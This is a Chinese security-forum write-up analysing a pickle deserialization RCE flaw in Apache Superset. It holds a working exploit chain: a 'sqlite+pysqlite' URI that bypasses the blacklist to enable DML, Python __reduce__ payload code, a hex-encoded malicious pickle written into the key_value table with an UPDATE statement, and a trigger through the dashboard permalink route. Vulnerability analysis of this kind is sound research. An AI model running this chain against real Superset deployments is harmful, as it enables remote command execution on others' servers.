问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
superset反序列化分析
漏洞分析
前几天看到有公众号发布了Apache Superset的命令执行漏洞,涉及到python的反序列化,正好今天分析一下漏洞点的发现和漏洞利用过程
前几天看到有公众号发布了Apache Superset的命令执行漏洞,涉及到python的反序列化,正好今天分析一下漏洞点的发现和漏洞利用过程 0x01 前置知识-python反序列化 ==================== 在python中,模块 [`pickle`](https://docs.python.org/zh-cn/3/library/pickle.html#module-pickle) 实现了对一个 Python 对象结构的二进制序列化和反序列化。和其他语言的反序列化一样,python里的 `pickle` 模块 **并不安全**。 你只应该对你信任的数据进行 unpickle 操作。构建恶意的 pickle 数据来**在解封时执行任意代码**是可能的。 绝对不要对不信任来源的数据和可能被篡改过的数据进行解封。(官方文档) 首先要说说`__reduce__()`这个魔术方法,这个方法用来表明**类的对象应当如何序列化**,当对象被Pickle(反序列化)时就会被调用。(和php中的`__wakeup()`类似) `__reduce__()`方法不带任何参数,并且应返回字符串或最好返回一个**元组**(返回的对象通常称为“reduce 值”)。如果返回的是元组,则应当包含 2 到 6 个元素,这里主要关注前两个元素, - 第一个元素代表一个**可调用对象**,该对象会在创建对象的最初版本时调用。 - 第二个元素代表可**调用对象的参数**,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。 举个例子: ```python import pickle import os class Student(object): name = 'xxx' age = '20' def __reduce__(self): cmd = "calc.exe" return os.system, (cmd,) y = pickle.dumps(Student()) print(y) pickle.loads(y) ```  0x02 漏洞点发现 ========== 首先全局搜索`pickle.loads`,该函数就是反序列化的地方,如果该参数可控,就可以造成远程命令执行  可以看到如果调用了`GetKeyValueCommand`中的`run`方法就会调用`get`,最后反序列化`entry.value`的内容进行反序列化,在`get`方法中是从数据库的`key_value`表中筛选`resource`和`key`值所得到的`value`值,写成sql语句的话类这样: ```php select value from key_value where resource=xxx and key=xxx ``` 那么就寻找哪里实例化了`GetKeyValueCommand`类并调用了`run`方法,并且传入的参数还是可控的  经过筛查找到这样一处位置,传递的两个参数中`self.resource`是常量,值为`dashboard_permalink`,key为传递给`GetDashboardPermalinkCommand`的参数  我们如法炮制找到实例化`GetDashboardPermalinkCommand`的地方,并且发现了触发这一条链的路由:`/dashboard/p/<key>/`  既然这个功能是从数据库中取数据,那大概率有一个功能点是往数据库中写数据的地方,并且返回一个这样的路径,于是我们全局查找代码中出现`/dashboard/p/`的地方: 通过搜索找到这样一处,代码逻辑流程是访问`<pk>/permalink`路径,然后将pk参数和post传入的json合并后通过`CreateDashboardPermalinkCommand`生成key,最后拼接成上面的链接  通过查看注释可以知道这是一个保存固定链接(permanent link)的功能点  pk为当前dashboard的id,通过`CreateDashboardPermalinkCommand`的`run`方法获取固定链接的key值,我们继续更近run方法:  这里的value将`dashboardId`和`state`合并后,传入到下面的`UpsertKeyValueCommand`方法中,其中的key值时通过user\_id和value生成的uuid值,resource为`dashboard_permalink` 然后进入`UpsertKeyValueCommand`的run方法中,调用了`upsert`,然后其中会将value的值通过`pickle.dumps`序列化后存入数据库  然后通过key.id和salt生成一个固定链接  我们获取到这样一个固定链接: ```php http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/ ``` 所以我们的攻击路径就是首选获取一个固定链接,在生成固定链接的同时会将数据写入到数据库,然后我们通过修改数据库中的内容为payload,在访问固定链接的时候会取数据库中的数据进行反序列化,进而造成RCE 0x03 漏洞利用 ========= 点击右上角`···`-`Share`-`Copy permailink to clipboard`  它会发送一个以下请求包生成一个当前页面的固定链接 ```php POST /api/v1/dashboard/2/permalink HTTP/1.1 Host: 127.0.0.1:5000 Connection: close {"urlParams":[],"dataMask":{},"activeTabs":[]} ```  我们获取到这样一个固定链接: ```php http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/ ``` 所以我们如果要想在这里进行反序列化就需要修改数据库中`key_value`表中`dashboard_permalink`值,正好有一个功能SQL Lab可以执行sql语句,那么我们就可以通过update修改`dashboard_permalink`值为payload,然后打开固定链接就可以触发`pickle.loads`进行反序列化,从而导致RCE  但是不巧的是,这里执行的SQL语句只能执行SELECT  而且在配置数据库的地方勾选`Allow DML`会提示`SQLiteDialect_pysqlite cannot be used as a data source for security reasons.`无法保存  于是我们可以重新添加一个数据源也为sqlite,然后将源指向同一个数据库,并且打开`Allow DML`,但是直接添加也会报错,因为`sqlite`在`uri.drivername`的黑名单里  但是依然可以通过方言和驱动程序名称的完整SQLAlchemy URI来绕过,pysqlite驱动程序支持SQLite数据库,例如:`sqlite+pysqlite:///D:/superset_2.1.0/superset.db` > SQL方言(或者数据库方言)指的是用于访问数据库的结构化查询语言的变体,根据具体的数据库系统不同,也可能会支持不同的方言。简单而言,某种DBMS不只会支持SQL标准,而且还会有一些自己独有的语法。  之后在生成固定链接后就可以去Sql Lab去update修改`dashboard_permalink`值 以弹出计算器作为演示,将RCE类序列化后转换为hex输出 ```python import pickle import os from binascii import hexlify class RCE: def __reduce__(self): return os.system, ('calc.exe',) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(hexlify(pickled).decode()) ``` 然后执行sq语句: ```sql update key_value set value=X'636e740a73797374656d0a70300a285663616c632e6578650a70310a7470320a5270330a2e' where resource='dashboard_permalink'; ```  在数据库中也被成功修改  然后访问固定链接也可成功弹出计算器  0x04 总结 ======= 整个攻击路径就是首先通过`sqlite+pysqlite://`来添加当前数据库并开启DML使其能允许使用非 SELECT 语句(例如 UPDATE、DELETE、CREATE 等)操作数据库,然后生成一个固定链接,然后通过sql语句的update更新`dashboard_permalink`的值,然后在访问该链接后,在获取value时会触发`pickle.loads()`方法去反序列化`dashboard_permalink`的值,而这里的value值已经在上一步中通过sql语句将其替换成了payload,最终造成任意命令执行,
发表于 2023-10-09 15:00:01
阅读 ( 16968 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
79 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!